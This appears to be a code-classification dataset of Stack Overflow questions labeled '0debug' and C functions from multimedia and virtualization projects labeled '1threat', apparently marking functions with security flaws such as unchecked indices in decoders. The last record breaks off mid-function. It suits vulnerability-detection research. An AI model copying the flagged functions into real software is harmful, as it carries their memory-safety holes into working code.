Below is my code,if anybody has any **optimized solution then please do reply.**
or solution using **Java8**
public class GetIndex {
public static void main(String[] args) {
// TODO Auto-generated method stub
List<String> one = Arrays.asList("1", "1", "3", "1", "5");
List<String> two = Arrays.asList("Q", "B", "Z", "A", "C");
for (int i = 0; i < one.size(); i++) {
if (one.get(i).equals("1") && two.get(i).equals("A")) {
System.out.println("Index where 1 & A: " + i);
}
}
}
}
| 0debug
|
static float *put_vector(vorbis_enc_codebook *book, PutBitContext *pb,
float *num)
{
int i, entry = -1;
float distance = FLT_MAX;
assert(book->dimentions);
for (i = 0; i < book->nentries; i++) {
float * vec = book->dimentions + i * book->ndimentions, d = book->pow2[i];
int j;
if (!book->lens[i])
continue;
for (j = 0; j < book->ndimentions; j++)
d -= vec[j] * num[j];
if (distance > d) {
entry = i;
distance = d;
}
}
put_codeword(pb, book, entry);
return &book->dimentions[entry * book->ndimentions];
}
| 1threat
|
Async Spring Controllers vs normal Controllers : <p>I wanted to analyze the improvement I may see by enabling Async Controllers in Spring Boot over normal controller</p>
<p>So here is my test code. One API returns a Callable and another is normal controller API. Both APIs block for <strong>10secs</strong> simulating a long running task</p>
<pre><code>@RequestMapping(value="/api/1",method=RequestMethod.GET)
public List<String> questions() throws InterruptedException{
Thread.sleep(10000);
return Arrays.asList("Question1","Question2");
}
@RequestMapping(value="/api/2",method=RequestMethod.GET)
public Callable<List<String>> questionsAsync(){
return () -> {
Thread.sleep(10000);
return Arrays.asList("Question2","Question2");
};
}
</code></pre>
<p>I set up embedded tomcat with this configuration i.e only one tomcat processing thread:</p>
<pre><code>server.tomcat.max-threads=1
logging.level.org.springframework=debug
</code></pre>
<p><strong>Expectations for /api/1</strong>
Since there is only one tomcat thread, another request will not be entertained untill this is processed after 10secs</p>
<p><strong>Results:</strong>
Meet expectations</p>
<hr>
<p><strong>Expectations for /api/2</strong>
Since we are returning a callable immediately, the single tomcat thread should get free to process another request. Callable would internally start a new thread. So if you hit the same api it should also gets accepted.</p>
<p><strong>Results:</strong>
This is not happening and untill the callable executes completely, no further request is entertained.</p>
<p><strong>Question</strong>
Why is /api/2 not behaving as expected?</p>
| 0debug
|
static void qemu_rdma_move_header(RDMAContext *rdma, int idx,
RDMAControlHeader *head)
{
rdma->wr_data[idx].control_len = head->len;
rdma->wr_data[idx].control_curr =
rdma->wr_data[idx].control + sizeof(RDMAControlHeader);
}
| 1threat
|
Instagram API check if a user is live : <p>is it possible to use the Instagram api and check to see if a specific user is broadcasting a live video? and if yes get that video information and possibly a link?</p>
| 0debug
|
How to upload a CSV file and read them using angular2? : <p>i have a requirement of uploading a .CSV file and read them inside my component, i have gone through this blog but it has a .CSV file stored in a particular loaction, i want to upload the .CSV file and read them inside my component. How can i do it</p>
<p>Do we have any build in plugin which we can use? if not then how can we achieve this goal.</p>
<p>this is code which i have tried</p>
<p><strong>view</strong></p>
<pre><code><input type="file" name="File Upload" id="txtFileUpload"
(change)="changeListener($event)"
accept=".csv"/>
</code></pre>
<p><strong>component</strong></p>
<pre><code>changeListener($event:Response): void {
debugger;
// i am not able to get the data in the CSV file
}
</code></pre>
<p>in the changeListener(), i am not able tom get the content of the .CSV file, can anyone help me on this?</p>
<p>thank you</p>
| 0debug
|
Redirect_URI error when using GoogleAuth.grantOfflineAccess to authenticate on server : <p>I'm trying to use the authorization flow outlined at <a href="https://developers.google.com/identity/sign-in/web/server-side-flow" rel="noreferrer">https://developers.google.com/identity/sign-in/web/server-side-flow</a>.
I've created the credentials as indicated... with no Authorized redirect URIs specified as the doc indicates: "The Authorized redirect URI field does not require a value. Redirect URIs are not used with JavaScript APIs."</p>
<p>The code initiating the authorization is:
Client button and callback:</p>
<pre><code><script>
$('#signinButton').click(function() {
var auth2 = gapi.auth2.getAuthInstance();
auth2.grantOfflineAccess().then(signInCallback);
});
function signInCallback(authResult) {
console.log('sending to server');
if (authResult['code']) {
// Send the code to the server
$.ajax({
type: 'POST',
url: 'CheckAuth',
headers: {
'X-Requested-With': 'XMLHttpRequest'
},
contentType: 'application/octet-stream; charset=utf-8',
success: function(result) {
// Handle or verify the server response.
},
processData: false,
data: authResult['code']
});
} else {
// There was an error.
}
}
</script>
</code></pre>
<p>Server side (CheckAuth method to create credentials from auth code, which it receives correctly via the javascript callback):</p>
<pre><code>private Credential authorize() throws Exception {
// load client secrets
InputStream is = new FileInputStream(clientSecretsPath_);
InputStreamReader isr = new InputStreamReader(is);
GoogleClientSecrets clientSecrets = GoogleClientSecrets.load(JSON_FACTORY, isr);
String redirect_URI = "";
GoogleTokenResponse tokenResponse =
new GoogleAuthorizationCodeTokenRequest(
httpTransport, JSON_FACTORY,
"https://www.googleapis.com/oauth2/v4/token",
clientSecrets.getDetails().getClientId(),
clientSecrets.getDetails().getClientSecret(),
token_,
redirect_URI)
.execute();
String accessToken = tokenResponse.getAccessToken();
// Use access token to call API
GoogleCredential credential = new GoogleCredential().setAccessToken(accessToken);
return credential;
}
</code></pre>
<p>The flow works correctly, up until the point my server attempts to exchange the authorization code for the token response (GoogleAuthorizationCodeTokenRequest.execute() )... the auth server returns: </p>
<pre><code>400 Bad Request
{
"error" : "invalid_request",
"error_description" : "Missing parameter: redirect_uri"
}
</code></pre>
<p>Given the error, I looked in debug at the auth instance in javascript and noted what it indicated was the redirect_uri. I then updated my google credentials and specified that URI in the Authorized redirect URIs (it's the URL that accessed the javascript, as the auth server correctly returns to the specified javascript callback). With the updated credentials and the URI specified in the instantiation of GoogleAuthorizationCodeTokenRequest (String redirect_URI = "<a href="http://example.com:8080/JavascriptLocation" rel="noreferrer">http://example.com:8080/JavascriptLocation</a>";), the error then becomes:</p>
<pre><code>400 Bad Request
{
"error" : "redirect_uri_mismatch",
"error_description" : "Bad Request"
}
</code></pre>
<p>I've tracked all the way through to the actual HttpRequest to the auth server (www.googleapis.com/oauth2/v4/token) and cannot tell what redirect_uri it is looking for.</p>
<p>Does anyone know what the value of redirect_uri should be in this case (when using grantOfflineAccess())? I'm happy to post more of the code, if that is at all helpful... just didn't want to flood the page. Thanks. </p>
| 0debug
|
flutter: Unhandled Exception: Bad state: Cannot add new events after calling close : <p>I am trying to use the bloc pattern to manage data from an API and show them in my widget. I am able to fetch data from API and process it and show it, but I am using a bottom navigation bar and when I change tab and go to my previous tab, it returns this error: </p>
<blockquote>
<p>Unhandled Exception: Bad state: Cannot add new events after calling
close.</p>
</blockquote>
<p>I know it is because I am closing the stream and then trying to add to it, but I do not know how to fix it because not disposing the <code>publishsubject</code> will result in <code>memory leak</code>.
here is my Ui code:</p>
<pre><code>class CategoryPage extends StatefulWidget {
@override
_CategoryPageState createState() => _CategoryPageState();
}
class _CategoryPageState extends State<CategoryPage> {
@override
void initState() {
serviceBloc.getAllServices();
super.initState();
}
@override
void dispose() {
serviceBloc.dispose();
super.dispose();
}
@override
Widget build(BuildContext context) {
return StreamBuilder(
stream: serviceBloc.allServices,
builder: (context, AsyncSnapshot<ServiceModel> snapshot) {
if (snapshot.hasData) {
return _homeBody(context, snapshot);
}
if (snapshot.hasError) {
return Center(
child: Text('Failed to load data'),
);
}
return CircularProgressIndicator();
},
);
}
}
_homeBody(BuildContext context, AsyncSnapshot<ServiceModel> snapshot) {
return Stack(
Padding(
padding: EdgeInsets.only(top: screenAwareSize(400, context)),
child: _buildCategories(context, snapshot))
],
);
}
_buildCategories(BuildContext context, AsyncSnapshot<ServiceModel> snapshot) {
return Padding(
padding: EdgeInsets.symmetric(vertical: 20),
child: GridView.builder(
gridDelegate: SliverGridDelegateWithFixedCrossAxisCount(
crossAxisCount: 3, crossAxisSpacing: 3.0),
itemCount: snapshot.data.result.length,
itemBuilder: (BuildContext context, int index) {
return InkWell(
child: CategoryWidget(
title: snapshot.data.result[index].name,
icon: Icons.phone_iphone,
),
onTap: () {},
);
},
),
);
}
</code></pre>
<p>here is my bloc code:</p>
<pre><code>class ServiceBloc extends MainBloc {
final _repo = new Repo();
final PublishSubject<ServiceModel> _serviceController =
new PublishSubject<ServiceModel>();
Observable<ServiceModel> get allServices => _serviceController.stream;
getAllServices() async {
appIsLoading();
ServiceModel movieItem = await _repo.getAllServices();
_serviceController.sink.add(movieItem);
appIsNotLoading();
}
void dispose() {
_serviceController.close();
}
}
ServiceBloc serviceBloc = new ServiceBloc();
</code></pre>
<p>I did not include the repo and API code because it is not in the subject of this error.</p>
| 0debug
|
Error handling with Angular2 async pipe : <p>I am using the Angular2 async pipe to stream values into the DOM. Here's a real simple example:</p>
<pre><code>const stream = Observable.interval(1000)
.take(5)
.map(n => { if (n === 3) throw "ERROR"; return n; });
<div *ngFor="for num of stream | async">
{{num}}
</div>
<div id="error"></div>
</code></pre>
<p>What I would like to do is to have the sequence of 1-5 displayed, but on the error item (3), somehow populate the <code>#error</code> div with the error message.</p>
<p>This seems to require two things: first is the ability of the Angular async pipe to do something intelligent with errors, which I see no sign of. Looking at the source code, apparently it throws a JS exception, which doesn't seem too friendly.</p>
<p>Second is the ability to restart or continue the sequence after the error. I have read about <code>catch</code> and <code>onErrorResumeNext</code> and so on, but they all involve another sequence which will be switched to on an error. This greatly complicates the logic of generating the stream, on which I would just like to put a series of numbers (in this simple example). I have the sinking feeling that once an error occurs the game is over and the observable is completed and can only be "restarted" with a different observable. I'm still learning observables; is this in fact the case?</p>
<p>So my question is twofold:</p>
<ol>
<li>Can Angular2's async pipe do something intelligent with errors?</li>
<li>Do observables have some simple way to continue after an error?</li>
</ol>
| 0debug
|
qcrypto_block_luks_create(QCryptoBlock *block,
QCryptoBlockCreateOptions *options,
const char *optprefix,
QCryptoBlockInitFunc initfunc,
QCryptoBlockWriteFunc writefunc,
void *opaque,
Error **errp)
{
QCryptoBlockLUKS *luks;
QCryptoBlockCreateOptionsLUKS luks_opts;
Error *local_err = NULL;
uint8_t *masterkey = NULL;
uint8_t *slotkey = NULL;
uint8_t *splitkey = NULL;
size_t splitkeylen = 0;
size_t i;
QCryptoCipher *cipher = NULL;
QCryptoIVGen *ivgen = NULL;
char *password;
const char *cipher_alg;
const char *cipher_mode;
const char *ivgen_alg;
const char *ivgen_hash_alg = NULL;
const char *hash_alg;
char *cipher_mode_spec = NULL;
QCryptoCipherAlgorithm ivcipheralg = 0;
uint64_t iters;
memcpy(&luks_opts, &options->u.luks, sizeof(luks_opts));
if (!luks_opts.has_iter_time) {
luks_opts.iter_time = 2000;
}
if (!luks_opts.has_cipher_alg) {
luks_opts.cipher_alg = QCRYPTO_CIPHER_ALG_AES_256;
}
if (!luks_opts.has_cipher_mode) {
luks_opts.cipher_mode = QCRYPTO_CIPHER_MODE_XTS;
}
if (!luks_opts.has_ivgen_alg) {
luks_opts.ivgen_alg = QCRYPTO_IVGEN_ALG_PLAIN64;
}
if (!luks_opts.has_hash_alg) {
luks_opts.hash_alg = QCRYPTO_HASH_ALG_SHA256;
}
if (luks_opts.ivgen_alg == QCRYPTO_IVGEN_ALG_ESSIV) {
if (!luks_opts.has_ivgen_hash_alg) {
luks_opts.ivgen_hash_alg = QCRYPTO_HASH_ALG_SHA256;
luks_opts.has_ivgen_hash_alg = true;
}
}
if (!options->u.luks.key_secret) {
error_setg(errp, "Parameter '%skey-secret' is required for cipher",
optprefix ? optprefix : "");
return -1;
}
password = qcrypto_secret_lookup_as_utf8(luks_opts.key_secret, errp);
if (!password) {
return -1;
}
luks = g_new0(QCryptoBlockLUKS, 1);
block->opaque = luks;
memcpy(luks->header.magic, qcrypto_block_luks_magic,
QCRYPTO_BLOCK_LUKS_MAGIC_LEN);
luks->header.version = QCRYPTO_BLOCK_LUKS_VERSION;
qcrypto_block_luks_uuid_gen(luks->header.uuid);
cipher_alg = qcrypto_block_luks_cipher_alg_lookup(luks_opts.cipher_alg,
errp);
if (!cipher_alg) {
goto error;
}
cipher_mode = QCryptoCipherMode_str(luks_opts.cipher_mode);
ivgen_alg = QCryptoIVGenAlgorithm_str(luks_opts.ivgen_alg);
if (luks_opts.has_ivgen_hash_alg) {
ivgen_hash_alg = QCryptoHashAlgorithm_str(luks_opts.ivgen_hash_alg);
cipher_mode_spec = g_strdup_printf("%s-%s:%s", cipher_mode, ivgen_alg,
ivgen_hash_alg);
} else {
cipher_mode_spec = g_strdup_printf("%s-%s", cipher_mode, ivgen_alg);
}
hash_alg = QCryptoHashAlgorithm_str(luks_opts.hash_alg);
if (strlen(cipher_alg) >= QCRYPTO_BLOCK_LUKS_CIPHER_NAME_LEN) {
error_setg(errp, "Cipher name '%s' is too long for LUKS header",
cipher_alg);
goto error;
}
if (strlen(cipher_mode_spec) >= QCRYPTO_BLOCK_LUKS_CIPHER_MODE_LEN) {
error_setg(errp, "Cipher mode '%s' is too long for LUKS header",
cipher_mode_spec);
goto error;
}
if (strlen(hash_alg) >= QCRYPTO_BLOCK_LUKS_HASH_SPEC_LEN) {
error_setg(errp, "Hash name '%s' is too long for LUKS header",
hash_alg);
goto error;
}
if (luks_opts.ivgen_alg == QCRYPTO_IVGEN_ALG_ESSIV) {
ivcipheralg = qcrypto_block_luks_essiv_cipher(luks_opts.cipher_alg,
luks_opts.ivgen_hash_alg,
&local_err);
if (local_err) {
error_propagate(errp, local_err);
goto error;
}
} else {
ivcipheralg = luks_opts.cipher_alg;
}
strcpy(luks->header.cipher_name, cipher_alg);
strcpy(luks->header.cipher_mode, cipher_mode_spec);
strcpy(luks->header.hash_spec, hash_alg);
luks->header.key_bytes = qcrypto_cipher_get_key_len(luks_opts.cipher_alg);
if (luks_opts.cipher_mode == QCRYPTO_CIPHER_MODE_XTS) {
luks->header.key_bytes *= 2;
}
if (qcrypto_random_bytes(luks->header.master_key_salt,
QCRYPTO_BLOCK_LUKS_SALT_LEN,
errp) < 0) {
goto error;
}
masterkey = g_new0(uint8_t, luks->header.key_bytes);
if (qcrypto_random_bytes(masterkey,
luks->header.key_bytes, errp) < 0) {
goto error;
}
block->cipher = qcrypto_cipher_new(luks_opts.cipher_alg,
luks_opts.cipher_mode,
masterkey, luks->header.key_bytes,
errp);
if (!block->cipher) {
goto error;
}
block->kdfhash = luks_opts.hash_alg;
block->niv = qcrypto_cipher_get_iv_len(luks_opts.cipher_alg,
luks_opts.cipher_mode);
block->ivgen = qcrypto_ivgen_new(luks_opts.ivgen_alg,
ivcipheralg,
luks_opts.ivgen_hash_alg,
masterkey, luks->header.key_bytes,
errp);
if (!block->ivgen) {
goto error;
}
iters = qcrypto_pbkdf2_count_iters(luks_opts.hash_alg,
masterkey, luks->header.key_bytes,
luks->header.master_key_salt,
QCRYPTO_BLOCK_LUKS_SALT_LEN,
QCRYPTO_BLOCK_LUKS_DIGEST_LEN,
&local_err);
if (local_err) {
error_propagate(errp, local_err);
goto error;
}
if (iters > (ULLONG_MAX / luks_opts.iter_time)) {
error_setg_errno(errp, ERANGE,
"PBKDF iterations %llu too large to scale",
(unsigned long long)iters);
goto error;
}
iters = iters * luks_opts.iter_time / 1000;
iters /= 8;
if (iters > UINT32_MAX) {
error_setg_errno(errp, ERANGE,
"PBKDF iterations %llu larger than %u",
(unsigned long long)iters, UINT32_MAX);
goto error;
}
iters = MAX(iters, QCRYPTO_BLOCK_LUKS_MIN_MASTER_KEY_ITERS);
luks->header.master_key_iterations = iters;
if (qcrypto_pbkdf2(luks_opts.hash_alg,
masterkey, luks->header.key_bytes,
luks->header.master_key_salt,
QCRYPTO_BLOCK_LUKS_SALT_LEN,
luks->header.master_key_iterations,
luks->header.master_key_digest,
QCRYPTO_BLOCK_LUKS_DIGEST_LEN,
errp) < 0) {
goto error;
}
splitkeylen = luks->header.key_bytes * QCRYPTO_BLOCK_LUKS_STRIPES;
for (i = 0; i < QCRYPTO_BLOCK_LUKS_NUM_KEY_SLOTS; i++) {
luks->header.key_slots[i].active = i == 0 ?
QCRYPTO_BLOCK_LUKS_KEY_SLOT_ENABLED :
QCRYPTO_BLOCK_LUKS_KEY_SLOT_DISABLED;
luks->header.key_slots[i].stripes = QCRYPTO_BLOCK_LUKS_STRIPES;
luks->header.key_slots[i].key_offset =
(QCRYPTO_BLOCK_LUKS_KEY_SLOT_OFFSET /
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE) +
(ROUND_UP(DIV_ROUND_UP(splitkeylen, QCRYPTO_BLOCK_LUKS_SECTOR_SIZE),
(QCRYPTO_BLOCK_LUKS_KEY_SLOT_OFFSET /
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE)) * i);
}
if (qcrypto_random_bytes(luks->header.key_slots[0].salt,
QCRYPTO_BLOCK_LUKS_SALT_LEN,
errp) < 0) {
goto error;
}
iters = qcrypto_pbkdf2_count_iters(luks_opts.hash_alg,
(uint8_t *)password, strlen(password),
luks->header.key_slots[0].salt,
QCRYPTO_BLOCK_LUKS_SALT_LEN,
luks->header.key_bytes,
&local_err);
if (local_err) {
error_propagate(errp, local_err);
goto error;
}
if (iters > (ULLONG_MAX / luks_opts.iter_time)) {
error_setg_errno(errp, ERANGE,
"PBKDF iterations %llu too large to scale",
(unsigned long long)iters);
goto error;
}
iters = iters * luks_opts.iter_time / 1000;
if (iters > UINT32_MAX) {
error_setg_errno(errp, ERANGE,
"PBKDF iterations %llu larger than %u",
(unsigned long long)iters, UINT32_MAX);
goto error;
}
luks->header.key_slots[0].iterations =
MAX(iters, QCRYPTO_BLOCK_LUKS_MIN_SLOT_KEY_ITERS);
slotkey = g_new0(uint8_t, luks->header.key_bytes);
if (qcrypto_pbkdf2(luks_opts.hash_alg,
(uint8_t *)password, strlen(password),
luks->header.key_slots[0].salt,
QCRYPTO_BLOCK_LUKS_SALT_LEN,
luks->header.key_slots[0].iterations,
slotkey, luks->header.key_bytes,
errp) < 0) {
goto error;
}
cipher = qcrypto_cipher_new(luks_opts.cipher_alg,
luks_opts.cipher_mode,
slotkey, luks->header.key_bytes,
errp);
if (!cipher) {
goto error;
}
ivgen = qcrypto_ivgen_new(luks_opts.ivgen_alg,
ivcipheralg,
luks_opts.ivgen_hash_alg,
slotkey, luks->header.key_bytes,
errp);
if (!ivgen) {
goto error;
}
splitkey = g_new0(uint8_t, splitkeylen);
if (qcrypto_afsplit_encode(luks_opts.hash_alg,
luks->header.key_bytes,
luks->header.key_slots[0].stripes,
masterkey,
splitkey,
errp) < 0) {
goto error;
}
if (qcrypto_block_encrypt_helper(cipher, block->niv, ivgen,
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE,
0,
splitkey,
splitkeylen,
errp) < 0) {
goto error;
}
luks->header.payload_offset =
(QCRYPTO_BLOCK_LUKS_KEY_SLOT_OFFSET /
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE) +
(ROUND_UP(DIV_ROUND_UP(splitkeylen, QCRYPTO_BLOCK_LUKS_SECTOR_SIZE),
(QCRYPTO_BLOCK_LUKS_KEY_SLOT_OFFSET /
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE)) *
QCRYPTO_BLOCK_LUKS_NUM_KEY_SLOTS);
block->payload_offset = luks->header.payload_offset *
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE;
initfunc(block, block->payload_offset, opaque, &local_err);
if (local_err) {
error_propagate(errp, local_err);
goto error;
}
cpu_to_be16s(&luks->header.version);
cpu_to_be32s(&luks->header.payload_offset);
cpu_to_be32s(&luks->header.key_bytes);
cpu_to_be32s(&luks->header.master_key_iterations);
for (i = 0; i < QCRYPTO_BLOCK_LUKS_NUM_KEY_SLOTS; i++) {
cpu_to_be32s(&luks->header.key_slots[i].active);
cpu_to_be32s(&luks->header.key_slots[i].iterations);
cpu_to_be32s(&luks->header.key_slots[i].key_offset);
cpu_to_be32s(&luks->header.key_slots[i].stripes);
}
writefunc(block, 0,
(const uint8_t *)&luks->header,
sizeof(luks->header),
opaque,
&local_err);
be16_to_cpus(&luks->header.version);
be32_to_cpus(&luks->header.payload_offset);
be32_to_cpus(&luks->header.key_bytes);
be32_to_cpus(&luks->header.master_key_iterations);
for (i = 0; i < QCRYPTO_BLOCK_LUKS_NUM_KEY_SLOTS; i++) {
be32_to_cpus(&luks->header.key_slots[i].active);
be32_to_cpus(&luks->header.key_slots[i].iterations);
be32_to_cpus(&luks->header.key_slots[i].key_offset);
be32_to_cpus(&luks->header.key_slots[i].stripes);
}
if (local_err) {
error_propagate(errp, local_err);
goto error;
}
if (writefunc(block,
luks->header.key_slots[0].key_offset *
QCRYPTO_BLOCK_LUKS_SECTOR_SIZE,
splitkey, splitkeylen,
opaque,
errp) != splitkeylen) {
goto error;
}
luks->cipher_alg = luks_opts.cipher_alg;
luks->cipher_mode = luks_opts.cipher_mode;
luks->ivgen_alg = luks_opts.ivgen_alg;
luks->ivgen_hash_alg = luks_opts.ivgen_hash_alg;
luks->hash_alg = luks_opts.hash_alg;
memset(masterkey, 0, luks->header.key_bytes);
g_free(masterkey);
memset(slotkey, 0, luks->header.key_bytes);
g_free(slotkey);
g_free(splitkey);
g_free(password);
g_free(cipher_mode_spec);
qcrypto_ivgen_free(ivgen);
qcrypto_cipher_free(cipher);
return 0;
error:
if (masterkey) {
memset(masterkey, 0, luks->header.key_bytes);
}
g_free(masterkey);
if (slotkey) {
memset(slotkey, 0, luks->header.key_bytes);
}
g_free(slotkey);
g_free(splitkey);
g_free(password);
g_free(cipher_mode_spec);
qcrypto_ivgen_free(ivgen);
qcrypto_cipher_free(cipher);
g_free(luks);
return -1;
}
| 1threat
|
.NET / C# - Get the next semi-week end date : <p>I have the following code, which simulates a week start on Saturday and then divides the week in 2 parts, returning Tuesday if the given date is Sat-Tue, else it returns Fri, however, I feel i'm doing something wrong, and that the code could be simplified, but I can't figure out how.</p>
<pre><code>private static DateTime SemiWeeklyEndDate(DateTime date)
{
if (((7 + (date.DayOfWeek - DayOfWeek.Saturday)) % 7) <= ((7 + (DayOfWeek.Tuesday - DayOfWeek.Saturday)) % 7))
return date.AddDays((((int)DayOfWeek.Tuesday - (int)date.DayOfWeek + 7) % 7));
return date.AddDays((((int)DayOfWeek.Friday - (int)date.DayOfWeek + 7) % 7));
}
</code></pre>
| 0debug
|
static int read_rle_sgi(uint8_t *out_buf, SgiState *s)
{
uint8_t *dest_row;
unsigned int len = s->height * s->depth * 4;
GetByteContext g_table = s->g;
unsigned int y, z;
unsigned int start_offset;
int linesize, ret;
if (len * 2 > bytestream2_get_bytes_left(&s->g)) {
return AVERROR_INVALIDDATA;
}
for (z = 0; z < s->depth; z++) {
dest_row = out_buf;
for (y = 0; y < s->height; y++) {
linesize = s->width * s->depth * s->bytes_per_channel;
dest_row -= s->linesize;
start_offset = bytestream2_get_be32(&g_table);
bytestream2_seek(&s->g, start_offset, SEEK_SET);
if (s->bytes_per_channel == 1)
ret = expand_rle_row8(s, dest_row + z, linesize, s->depth);
else
ret = expand_rle_row16(s, (uint16_t *)dest_row + z, linesize, s->depth);
if (ret != s->width)
return AVERROR_INVALIDDATA;
}
}
return 0;
}
| 1threat
|
Can we use Yolo to detect and recognize text in a image : <p>Currently I am using a deep learing model which is called "Yolov2" for object detection, and I want to use it to extract text and use save it in disk, but i don't know how to do that, if anyone know more about that, please advice me</p>
<p>I use Tensorflow</p>
<p>Thanks</p>
| 0debug
|
Socket - write n bytes and read n bytes: sending number of bytes to read using uint16_t : I've been using [these two functions][1] (provided by @alk).
The problem is that I don't know how to correctly send the `uint16_t data_size;`.
Here is my actual code to send a general example buffer:
uint16_t data_size;
int retry_on_interrupt = 0;
char buffer[] = "Hello world!";
data_size = (uint16_t) sizeof(buffer);
/* sending data_size */
writen(socket, data_size, 2, retry_on_interrupt);
/* sending buffer */
writen(socket, buffer, sizeof(buffer);
And here is my actual code to receive a general example buffer:
/* receiving data_size */
readn(socket, &data_size, 2);
/* receiving buffer */
readn(socket, buffer, data_size);
But this is not working, I think because `writen` requires a `const char * `, instead I'm using a `uint16_t`...
How should these calls be? Thanks.
[1]: http://stackoverflow.com/a/20149925/7158454
| 0debug
|
static void decode_array_0000(APEContext *ctx, GetBitContext *gb,
int32_t *out, APERice *rice, int blockstodecode)
{
int i;
int ksummax, ksummin;
rice->ksum = 0;
for (i = 0; i < 5; i++) {
out[i] = get_rice_ook(&ctx->gb, 10);
rice->ksum += out[i];
}
rice->k = av_log2(rice->ksum / 10) + 1;
for (; i < 64; i++) {
out[i] = get_rice_ook(&ctx->gb, rice->k);
rice->ksum += out[i];
rice->k = av_log2(rice->ksum / ((i + 1) * 2)) + 1;
}
ksummax = 1 << rice->k + 7;
ksummin = rice->k ? (1 << rice->k + 6) : 0;
for (; i < blockstodecode; i++) {
out[i] = get_rice_ook(&ctx->gb, rice->k);
rice->ksum += out[i] - out[i - 64];
while (rice->ksum < ksummin) {
rice->k--;
ksummin = rice->k ? ksummin >> 1 : 0;
ksummax >>= 1;
}
while (rice->ksum >= ksummax) {
rice->k++;
if (rice->k > 24)
ksummax <<= 1;
ksummin = ksummin ? ksummin << 1 : 128;
}
}
for (i = 0; i < blockstodecode; i++) {
if (out[i] & 1)
out[i] = (out[i] >> 1) + 1;
else
out[i] = -(out[i] >> 1);
}
}
| 1threat
|
Union vs Unionwith in HashSet : <p>What the difference between <code>HashSet.Union</code> vs <code>HashSet.Unionwith</code> when i combine 2 hashsets.</p>
<p>I am trying to combine like this:</p>
<pre><code>HashSet<EngineType> enginesSupportAll = _filePolicyEvaluation.EnginesSupportAll;
enginesSupportAll = enginesSupportAll != null ? new HashSet<EngineType>(engines.Union(enginesSupportAll)) : enginesSupportAll;
</code></pre>
<p>what is the best method for this example and why?</p>
| 0debug
|
How do I add a new line in message body using the following vbscript : I have created a txt file to support the message body of the vbscript but it only reads the last line of the messagebody.txt
WScript.Sleep 100
Set WshShell=WScript.CreateObject("WScript.Shell")
Set objShell=WScript.CreateObject("WScript.Shell")
set objOutlook=CreateObject("Outlook.Application")
Set objMail=CreateObject("CDO.Message")
Set objMail=objOutlook.CreateItem(0)
strDesktop = WshShell.SpecialFolders("Desktop")
Set objFileToReadTo = CreateObject("Scripting.FileSystemObject").OpenTextFile(strDesktop + "\\send email with attachment\List_To.txt",1)
Set objFileToReadCC = CreateObject("Scripting.FileSystemObject").OpenTextFile(strDesktop + "\\send email with attachment\List_CC.txt",1)
Set objFileToReadSubject = CreateObject("Scripting.FileSystemObject").OpenTextFile(strDesktop + "\\send email with attachment\List_Subject.txt",1)
Set objFileToReadBody = CreateObject("Scripting.FileSystemObject").OpenTextFile(strDesktop + "\\send email with attachment\Email Body.txt",1)
Set objFileToReadAttachments = CreateObject("Scripting.FileSystemObject").OpenTextFile(strDesktop + "\\send email with attachment\List_Attachments_withFileExtension.txt",1)
Dim strLineTo
Dim strLineCC
Dim strLineSubject
Dim strLineBody
Dim strLineAttachments
objMail.Display
WScript.Sleep 10
do while not objFileToReadTo.AtEndOfStream
strLineTo = objFileToReadTo.ReadLine()
objMail.To=strLineTo
loop
objFileToReadTo.Close
WScript.Sleep 10
do while not objFileToReadCC.AtEndOfStream
strLineCC = objFileToReadCC.ReadLine()
objMail.cc = strLineCC
loop
objFileToReadCC.Close
'41
WScript.Sleep 10
do while not objFileToReadSubject.AtEndOfStream
strLineSubject = objFileToReadSubject.ReadLine()
objMail.Subject = strLineSubject
loop
objFileToReadSubject.Close
'48
WScript.Sleep 10
do while not objFileToReadBody.AtEndOfStream
strLineBody = objFileToReadBody.ReadLine()
objMail.Body = strLineBody & vbCRLF
loop
objFileToReadBody.Close
'55
WScript.Sleep 10
do while not objFileToReadAttachments.AtEndOfStream
strLineAttachments = objFileToReadAttachments.ReadLine()
objMail.Attachments.Add(strLineAttachments)
loop
objFileToReadAttachments.Close
'62
'objShell.Sendkeys "%s"
WScript.Sleep 40
'objShell.SendKeys "{TAB}"
'objShell.SendKeys "{UP}"
'objShell.SendKeys "{Enter}"
'set MyEmail=nothing
'objOutlook.Quit
'Set objMail = Nothing
'Set objOutlook = Nothing
and here is my messagebody.txt
Hi,
Testing vbscript
Regards,
abcd
It only reads the last ABCD and dispays the same on the oulook window.
How do I make the scipt understand multiple lines?
| 0debug
|
static int zipl_magic(uint8_t *ptr)
{
uint32_t *p = (void*)ptr;
uint32_t *z = (void*)ZIPL_MAGIC;
if (*p != *z) {
debug_print_int("invalid magic", *p);
virtio_panic("invalid magic");
}
return 1;
}
| 1threat
|
How to count frequecy of each letter of word in qbasic? : Successfully counted each letter but letter order can't display sequentially as in word.
For example- Input word-bbinood
Output=b2i1n1o2d1
Here my program in qbasic:
INPUT "Enter the string:", A$
n = LEN(A$)
FOR i = 97 TO 122
FOR j = 1 TO n
IF CHR$(i) = MID$(A$, j, 1) THEN
count = count + 1
END IF
NEXT
FOR j = 1 TO n
IF (MID$(A$, j, 1) = CHR$(i)) THEN
PRINT CHR$(i), count
j = n
END IF
NEXT
count = 0
NEXT
| 0debug
|
int ff_rv34_decode_frame(AVCodecContext *avctx,
void *data, int *data_size,
AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
RV34DecContext *r = avctx->priv_data;
MpegEncContext *s = &r->s;
AVFrame *pict = data;
SliceInfo si;
int i;
int slice_count;
const uint8_t *slices_hdr = NULL;
int last = 0;
if (buf_size == 0) {
if (s->low_delay==0 && s->next_picture_ptr) {
*pict = *(AVFrame*)s->next_picture_ptr;
s->next_picture_ptr = NULL;
*data_size = sizeof(AVFrame);
}
return 0;
}
if(!avctx->slice_count){
slice_count = (*buf++) + 1;
slices_hdr = buf + 4;
buf += 8 * slice_count;
buf_size -= 1 + 8 * slice_count;
}else
slice_count = avctx->slice_count;
if(get_slice_offset(avctx, slices_hdr, 0) > buf_size){
av_log(avctx, AV_LOG_ERROR, "Slice offset is greater than frame size\n");
return -1;
}
init_get_bits(&s->gb, buf+get_slice_offset(avctx, slices_hdr, 0), (buf_size-get_slice_offset(avctx, slices_hdr, 0))*8);
